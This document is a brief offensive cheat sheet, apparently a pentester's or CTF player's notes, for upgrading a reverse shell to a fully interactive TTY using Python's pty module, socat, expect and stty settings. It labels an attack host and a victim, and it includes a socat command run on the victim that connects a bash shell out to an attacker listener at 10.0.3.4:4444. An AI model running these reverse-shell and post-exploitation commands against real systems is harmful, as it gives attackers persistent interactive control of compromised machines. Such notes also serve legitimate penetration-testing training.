## use Python to spawn a pty
python -c 'import pty; pty.spawn("/bin/bash")'

## Using socat
# Socat is like netcat and it can be used to pass full TTY's over TCP connections.
# If socat isn't installed, you can download id from here : https://github.com/andrew-d/static-binaries
# On Attack Host
socat file:`tty`,raw,echo=0 tcp-listen:4444 
# On Victim
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

## Using Expect
cat sh.exp
#!/usr/bin/expect
# Spawn a shell, then allow the user to interact with it.
# The new shell will have a good enough TTY to run tools like ssh, su and login
spawn sh
interact
# In reverse shell
expect sh.exp

## Using stty options
#
# In reverse shell
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
# In attack shell
stty raw -echo
fg
# In reverse shell
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>
